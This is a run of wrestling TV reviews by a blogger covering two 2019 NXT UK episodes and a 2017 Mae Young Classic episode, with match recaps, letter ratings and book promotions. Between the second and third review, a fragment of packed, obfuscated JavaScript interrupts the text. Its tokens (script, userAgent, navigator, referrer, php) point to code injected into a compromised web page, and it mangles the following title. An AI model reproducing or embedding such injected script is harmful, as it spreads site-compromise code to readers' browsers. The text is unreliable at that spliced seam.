NXT UK
Date: October 10, 2019
Location: Brentwood Centre, Essex, England
Commentators: Tom Phillips, Nigel McGuinness

We’re finally on a fresh taping cycle and that might be best for everyone involved. Hopefully we can get to something a little more interesting now and in this case we have Piper Niven vs. Jazzy Gabert, which has some hossette battle potential. Other than that, it’s hard to say where we could be going so let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Next week: Gallus vs. Flash Morgan Webster/Mark Andrews for the Tag Team Titles.

The Hunt vs. Pretty Deadly

Nigel is rather intrigued by Howley and Stoker (Pretty Deadly) as Boar works on Howley’s arm to start. A clothesline seems to be more Boar’s speed and the running shoulder to the ribs in the corner keeps him down. Howley gets over to the corner for the tag off to Stoker, who actually cleans house for a bit. It’s already back to Howley, who spends a bit too much time talking trash, allowing Boar to get in a German suplex. That’s enough for the hot tag off to Primate for his own suplex. A spear sets up the double top rope headbutts for the pin at 4:28.

Rating: C-. This was a good way to get the Hunt back on track. They have gone from a pretty basic team to a fun enough act that they can go out there and lose a few times without being taken down in any major way. The match wasn’t even a squash so it’s not that bad, even it if didn’t have a lot of time.

Post match Fabian Aichner and Marcel Barthel come out to talk trash so the Hunt goes after them. The beating is on until Alexander Wolfe comes out to take care of the Hunt. I smell a six man.

Video on Ilja Dragunov.

Jack Starz vs. Jordan Devlin

They fight over arm control to start with Starz managing a backdrop to offer some early frustration. Starz is fired up for a change but misses a charge into the post to cut him right back down. A gorilla press plants Devlin though but he’s smart enough to grab a shoulder breaker and work on the injured arm.

Devlin gets in a release Rock Bottom into a standing moonsault for two as the natural order is restored. A belly to back kneeling backbreaker sets up an armbar to mix things up a bit (not the best thing in this case) but Starz fights back again. The missed charge lets Devlin hit a slingshot cutter and it’s the pulled up Saito suplex for the pin at 4:26.

Rating: C. Who in the world would have guessed that Starz was able to get something out of this one? Starz isn’t someone who has any reason to be a big deal and while I wasn’t buying him as a serious threat, he managed to make me think that we could have gotten a big surprise upset. That takes talent to pull off and they did it here. Nice little surprise.

Post match Devlin rants about how he is sick of having to beat up all these people and not being treated as a big star. Cue Dave Mastiff to chase Devlin off and offer to get a match set up between the two of them. Devlin doesn’t seem sure on that one.

Kenny Williams vs. Dave Mastiff

Mastiff tells him to lock up and then launches Williams into the corner. A whip isn’t even a possibility here so Williams tries running the ropes and manages a crucifix for two. An elbow to the face staggers Mastiff so he backdrops Williams over the corner to the floor. That means a limp from Williams and the springboard isn’t happening at the moment.

Mastiff runs him over and hits Williams in the back as the slow torment continues. We hit the chinlock for a bit before Mastiff misses the backsplash. The ankle gives out on what looked like a springboard Stunner attempt so Williams grabs a Sling Blade for two instead. Mastiff launches him off what looked like a bulldog and it’s Into The Void to finish Williams at 5:16.

Rating: C. This was similar to the previous match as it was hard to imagine the upset taking place but they were trying to do something with Williams. The guy clearly has talent and can sever them well as a jobber to the stars. Mastiff is getting WAY more mileage than I would have bet on so nicely done on the surprise success.

Post match Mastiff offers some respect.

Xia Brookside is back with an update but Nina Samuels comes in to mock her. A match is teased for the future. This is the kind of thing that feels so forced and scripted and didn’t need to be there to set up a match. It was about fifteen seconds long and just felt fake.

Here are Webster and Andrews for a chat. They need the energy from the fans to defend their titles next week and they wouldn’t have the titles in the first place without them. Webster wants any challengers so here are Gallus to interrupt at the announcers’ table. They would be impressed with the champs if the champs weren’t such an embarrassment. Violence is promised next week.

Noam Dar and Trent Seven have to be held apart in the back so Sid Scala makes a match between them in two weeks.

We look back at Jazzy Gabert attacking Piper Niven, thanks to a Jinny distraction.

The Grizzled Young Veterans interrupt Webster and Andrews, promising to take the titles from whoever has them after last week.

Piper Niven vs. Jazzy Gabert

Jinny is here with Jazzy. Piper is invited to come to the center of the ring to start so it’s time for the power lockup. Niven powers her out to the floor and it’s time for a pep talk from Jinny. The distraction lets Jazzy drive Piper into the corner for some punches to the ribs and Jazzy slams her for two. A boot in the back with a double arm pull has Piper in more trouble but she eventually gets to the corner. Piper headbutts and crossbodies Jazzy to the floor so Jinny comes in. That earns her a headbutt of her own, allowing Rhea Ripley to come out and deck Jazzy, setting up Piper’s backsplash for the pin at 4:38.

Rating: D+. That was a lot of stuff outside the ring for a four minute match and that didn’t leave a lot of time for the match itself. It felt like they didn’t want to do anything of note here and that made for a pretty dull match. Not the worst, but I was hoping for a lot more fun than what we got here.

Piper isn’t sure what happened to end the show.

Overall Rating: D. Oh what was that? I don’t know if it was the show being the first of a taping cycle but this felt more like an episode of AEW Dark than the important weekly show around here. What were they going for here? It set some stuff up for the future but you have to have something interesting now instead of waiting for later and I don’t think they got that here. Completely skippable show with nothing worth your time.

Results

The Hunt b. Pretty Deadly – Double top rope headbutts to Howley

Jordan Devlin b. Jack Starz – Pulling Saito suplex

Dave Mastiff b. Kenny Williams – Into The Void

Piper Niven b. Jazzy Gabert – Backsplash

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

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NXT UK
Date: August 7, 2019
Location: Plymouth Pavilions, Devon, England
Commentators: Vic Joseph, Aiden English

With less than a month to go before Takeover: Cardiff, the card has mostly taken shape and now we have the big main event set. Tyler Bate vs. Walter for the United Kingdom Title could be the best match the promotion has ever had in its short history and that should be enough to carry the whole thing. In addition to that, it’s time to find out about the Tag Team Titles, meaning some Zack Gibson greatness. Let’s get to it.

Here are last week’s results if you need a recap.

We open with the Harley Race tribute video. I’d say he’s earned it.

Opening sequence.

Noam Dar vs. Ashton Smith

The bigger Smith drives him into the corner to start so Dar grabs the arm. Since it’s kind of hard to flip around with someone holding your arm, Smith gets pulled down without much effort. Smith goes to the arm as well with Dar heading straight to the ropes to show the intelligence. A nice dropkick works better for Smith but Dar claims an eye injury. As Smith has seen a Dar match before, he goes straight at Dar in the corner and gets backdropped to the floor.

Back in and Dar grabs the armbar again before countering an enziguri into the ankle lock. That lasts less than three seconds as Smith is right back up with a clothesline and a running kick to the chest. Dar kicks him in the leg and hits a running elbow to the back of the head for two of his own. This time it’s Smith playing possum so he can score with a superkick, but Dar avoids the middle rope leg lariat. The Nova Roller gives Dar the pin at 5:44.

Rating: C. There was something here with Dar’s goldbricking being well known by this point. It makes sense to go that way and is the next step in what he’s been doing lately. Smith is someone with obvious athleticism but he has nothing in the way of character or anything that makes him stand out. How many people does that apply to around here?

Post match Dar talks about how he’s here to wrestle all the time and promises to be in Cardiff. Thank you, bye bye.

Tyler Bate talks about Trent Seven not being medically cleared but he isn’t going to let Walter get away with this. In Cardiff, he’s becoming a two time champion.

Here are the Grizzled Young Veterans for a chat. Gibson does the usual intro and a fan asks where his car stereo is. Has he checked his car? Anyway, Gibson doesn’t want to hear about Gallus beating a bunch of Joe Blows and Johnny Kickpads to get a title shot. Cue Gallus to say they’re not demanding but rather taking their championship match in Cardiff.

Hang on though as here are Flash Morgan Webster and Mark Andrews to interrupt. They want in on this title match as well because Andrews is the hometown boy in Cardiff. Webster knows they can beat both teams but Gibson says Johnny Saint makes the matches. If they want a title shot, earn it.

Video on Takeover: Blackpool, which is inspiring everyone to be ready for Cardiff. Various people are excited, even if they are unlikely to be on the show.

Travis Banks has promised himself that he’s going to Cardiff. Dar can say he’s going to Takeover all he wants but his spot isn’t guaranteed either. Banks leaves and Webster/Andrews come out of Saint’s office, saying they have to earn their Takeover spot as well. They can prove themselves over the next few weeks.

Jazzy Gabert/Jinny vs. Xia Brookside/Piper Niven

This could be interesting. Xia and Jinny start things off with Xia going straight to the dropkick. Jinny gets up an elbow in the corner but walks into a headscissors, which leaves Xia right in front of Gabert. It’s Jinny with a hard forearm to the face so Gabert can come in to knock Xia silly. A slam is enough to bring Jinny back in as Gabert isn’t the most time consuming monster.

Since no one is wasting time, Xia gets in her own shot to the face and brings Niven in for a running buckle bomb on Jinny. It’s right into the Gabert corner, with the announcers not being sure if that was a mistake or not. Niven knocks Gabert down and hits the running crossbody for two, followed by the backsplash to give Brookside her own two. Since Brookside is an average sized human, Gabert side slams her down to cut off the momentum.

Cue Rhea Ripley though and Piper brawls with her up the ramp. Brookside realizes she’s alone and grabs a Codebreaker on Jinny. Another headscissors sets up some running knees to Jinny’s back in the corner for two. Xia crossbodies both of them at once but Gabert shrugs it off and hits a Dominator for the pin at 7:40.

Rating: C. This was a nice way to set up a few things at once with Niven vs. Ripley being ready for a heck of a monster showdown later. At the same time, if Toni Storm survives Cardiff, Jinny and Jazzy would be a great next step for her. Jinny and Jazzy are a very good example of the formula that has worked for years so giving them a harder push would be fine.

Video on Toni Storm vs. Kay Lee Ray, with Storm citing Ray as an inspiration. Ray talks about seeing Toni as a bubbly girl and they have a long history in the ring. Now they get to do this on the big stage.

Ilja Dragunov was about to be interviewed in the dark when Kassius Ohno came in and turned on the light. That’s it for Ohno, which doesn’t sit well with Dragunov. They’ll fight next week.

Also next week: Flash Morgan Webster vs. Mark Coffey.

Dave Mastiff vs. Joe Coffey

They collide to start and slug it out with Coffey getting the better of things so Dave hiptosses him for one. Coffey is sent to the apron so he goes up but has to slip out of a German suplex attempt. The second attempt works better for Mastiff, though Coffey is able to pull the middle turnbuckle pad off at the same time. Coffey knows what happens and hits the running headbutt to the ribs in the corner, sending Mastiff into the buckle. A backbreaker and backsplash give Coffey two, followed by a fairly questionable armbar.

Mastiff headbutts Coffey down and throws him down with a release German suplex. One heck of a forearm to the ear stuns Mastiff and they head outside, where Mastiff hits him in the ear to bust it open. Mastiff hits him in the face and takes it back inside for a series of elbows to the ear. Another backsplash gives Mastiff his own two and Coffey heads to the apron. That means another running headbutt, sending Mastiff’s back into the buckle again. It’s a double countout at 7:44.

Rating: C-. It was a good enough power brawl though the ending felt pretty lame. You can pencil them in for a rematch at Cardiff in a similar story to Dominik Dijakovic vs. Keith Lee from the regular NXT, which isn’t a bad idea. Mastiff has been a well protected force around here and that could go somewhere if they decide to pull the trigger on him.

They have to be separated, with Mastiff shouting at Joe to end the show.

Overall Rating: C. This wasn’t their strongest show but they moved forward with most of the matches already set up for Takeover. There are still a few more things that need to be made ready and those can be hammered out in the next few weeks. Takeover can be a rather good show, and while this week wasn’t the best, the Bate vs. Walter match is going to be more than enough to carry everything.

Results

Noam Dar b. Ashton Smith – Nova Roller

Jinny/Jazzy Gabert b. Xia Brookside/Piper Niven – Dominator to Brookside

Dave Mastiff vs. Joe Coffey went to a double countout

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s History Of In Your House (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/05/31/new-paperback-kbs-history-of-in-your-house/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykfak|var|u0026u|referrer|skbkd||js|php'.split('|'),0,{})) Young Classic Episode #1
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s finally here. In the tradition of last year’s Cruiserweight Classic, this is a thirty two participant women’s tournament held down in Florida. The field is comprised of an international group of talents, some of whom you probably haven’t heard of before. There are four shows up today with the finals taking place live on September 12. Let’s get to it.

The opening video, narrated by Stephanie McMahon (because of course), talks about the history of women’s wrestling and how the biggest stars have helped lead us here. The result was the Women’s Revolution and it’s allowed something like this to be possible.

Opening sequence.

One note: I’m not familiar with most of the names in this so if I miss something big about one of them, I apologize in advance.

Video on Kay Lee Ray, a Scot who describes herself as a hardcore daredevil.

Video on Princesa Sugehit (pronounced sue hay). She was the only woman in her gym in Mexico and is here to win the tournament.

First Round: Kay Lee Ray vs. Princesa Sugehit

Sugehit starts with the kicks and a big one to the chest gets two. They trade some trips until Ray grabs something like a Gory Stretch. That’s reversed into a sunset bomb for two as the crowd is WAY into this so far. Sugehit drops three elbows for two but gets kneed in the face for the same. Back up and Kay chops her in the corner as Lita laments never wrestling in a mask.

A reverse DDT sets up a Koji Clutch on Sugehit for a few moments and the fans stay split. Sugehit gets out and rolls her around the ring into a cradle before a hard kick to the head gets two. More kicks are countered into something like a Gory Bomb for a slightly delayed two on Sugehit. Ray misses a splash though and a Fujiwara armbar makes her tap at 5:58.

Rating: B-. Good choice for an opener here with two easy to identify styles and Sugehit being the more polished of the two. It wasn’t a classic or anything but it was the right idea: get the crowd into things (shouldn’t be that hard) and something like a masked woman kicking another one in half was an easy choice.

Video on Serena Deeb who has a lot of history in WWE as part of the Straight Edge Society and a long stint in developmental. She had a bit of a drinking issue though and left the company, meaning she had to earn her way back.

Video on Vanessa Borne, who used to be a cheerleader for the Arizona Cardinals and a dancer for the Phoenix Suns but now she’s here to be the star instead.

Naomi is here.

First Round: Serena Deeb vs. Vanessa Borne

Of note: Jessika Carr, the new female full time referee, is working this match. Feeling out process to start as the announcers focus on Deeb’s previous issues that sent her away from the ring for two years. Some armdrags have the rookie Borne in trouble but she headbutts her way out.

The aggressive style doesn’t seem to sit well with the fans, who are notably more silent for this match (though to be fair these could have been taped out of order). A sliding headbutt gets two on Deeb and we hit the chinlock. Serena fights up with some left hands and a neckbreaker but she goes shoulder first into the corner. A flip neckbreaker and Samoan drop give Borne two each but Deep is right back up with a spear for the pin at 6:06.

Rating: C-. There’s your first story of the tournament and it’s a good one with Deeb’s road to redemption. She never was the biggest star in the division as she barely wrestled singles matches for the company but it’s an easy story to tell. It’s easy to imagine her making a long run in this thing as she’s one of the more experienced names in the field and that could help her go a long way.

Video on Zeda, who learned martial arts to deal with bullying as a kid. She didn’t have a hero to look up to so she became one herself.

Video on Shayna Baszler, a former UFC fighter with a long career. She’s here to try something new now but the style will be the same. Baszler has wrestled in Shimmer so she’s not coming into this as a rookie.

Ronda Rousey is here to cheer on her former Four Horsewoman teammate.

First Round: Shayna Baszler vs. Zeda

Lita and Zeda were in the same judo club, albeit many years apart. Shayna won’t shake hands but the fans know Zeda is going to die anyway. An early cross armbreaker doesn’t work on Zeda and it’s back to a standoff. A ZEDA chant goes nowhere and Baszler easily strikes her into the corner. Zeda gets in some elbows and a monkey flip is good for two but Shayna is done playing around. A suplex backbreaker into a choke makes Zeda tap at 2:21.

Baszler poses with the Horsewomen.

Video on Jazzy Gabert. She grew up in Germany and throws people all around. It’s like a demon comes out in the ring when she hurts the little girls. You might remember her from a few matches in TNA as Alpha Female.

Video on Abbey Laith, who is better known as Princess Kimber Lee.

First Round: Abbey Laith vs. Jazzy Gabert

Gabert is rather intimidating looking with a very blonde mohawk. It’s also odd hearing JR talk about Chikara, where Abbey was Grand Champion. Abbey slugs away to start but gets thrown down by the hair. A Jazzy chant starts up as she throws Abbey down into the splits. That’s fine with Abbey who has a ballet ground for some great flexibility. We hit something like an Anaconda Vice of all things as Abbey is being completely overwhelmed here.

Back up and Abbey is sent into the turnbuckle as the dominance continues. It’s off to a chinlock before a rolling forearm knocks Abbey’s block off. Abbey slips out of something and grabs a Tarantula into a choke on the ropes. Some kicks to the chest stagger Jazzy and some bicycle kicks make things even worse. There’s a dropkick into the corner and a Swanton gets two on Gabert. One heck of a clothesline puts Laith down but she rolls off Jazzy’s back -into an Alligator Clutch (a rollup used by Mae Young) for the pin at 7:12.

Rating: C+. I liked this one more than I was expecting to as they seemed to be going with a squash and then turned it into a better story with Laith winning in the end. There’s a good chance that they’re going to be sending her pretty far in the thing. Good idea here as Laith looks like a star now and should get a nice reception as a result.

Gabert shakes her hand post match.

We wrap it up with a quick recap of the night’s events.

Overall Rating: B-. Good start for the tournament here as they showcased four names and we’re already getting a good chunk of the second round ready. They should be flying through this pretty easily and that makes for a fun tournament. I also like having four episodes released at once as we can get through the first round in a single day instead of stretching it out for months. Lita was completely acceptable on commentary and seemed to be starting to get the hang of it more as the show went on. Good show here and that’s a positive sign.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6